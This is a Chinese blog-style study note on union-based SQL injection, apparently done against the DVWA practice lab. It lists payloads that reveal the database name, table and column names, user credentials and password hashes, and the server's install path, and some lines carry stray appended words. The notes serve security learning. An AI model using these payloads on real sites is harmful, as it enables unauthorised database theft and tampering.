Web安全測試學習筆記 - SQL注入-2

接上一篇SQL注入的學習筆記,上一篇我經過報錯信息得知後臺數據庫是MySQL(這個信息很是重要~),而後經過SQL注入拿到了用戶表的全部行,其實咱們還能夠經過MySQL的特性來拿更多的信息。sql

 

1. 獲取當前數據庫名稱數據庫

輸入:2' union select 1,database() '函數

輸出:數據庫名稱爲dvwa 學習

database()是Mysql自帶函數,用來獲取當前數據庫名稱。加密

 

2.獲取當前數據庫全部表名操作系統

輸入:1' union select 1,table_name from information_schema.tables where table_schema='dvwa3d

輸出:dvwa數據庫中一共有兩張表,分別是gestbook和userscode

information_schema是MySQL自帶數據庫,用來存儲MySQL數據庫元數據,通俗來講就是MySQL中的全部數據庫名,每一個數據庫的表名,每一個表的列名等等。orm

 

3. 獲取用戶表的全部字段名blog

輸入:1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users

輸出:users表中比較重要的列名:user,password

 

4. 獲取用戶表中的數據

輸入:'UNION select user,password from users# (#爲MySQL的註釋符,至關於將後面的單引號註釋掉了)

輸出:拿到了全部用戶名和加密過的密碼

若是數據庫的密碼存儲的是明文,Hmm......

同理,你還想要什麼數據,均可以隨便取用了,把整個數據庫拖出來均可以!既然能夠查詢,那刪除和修改也是能夠有的!

若是是涉及到money的系統數據庫被攻破,Hmm......Hmm......

 

 

5. 獲取操做系統類型

輸入:'UNION select 1,@@basedir#

輸出:Windows操做系統

 

 

一點點感悟:

1. 數據庫中的敏感信息必定要加密!

 

如需轉載,請註明出處,這是對他人勞動成果的尊重~

相關文章
相關標籤/搜索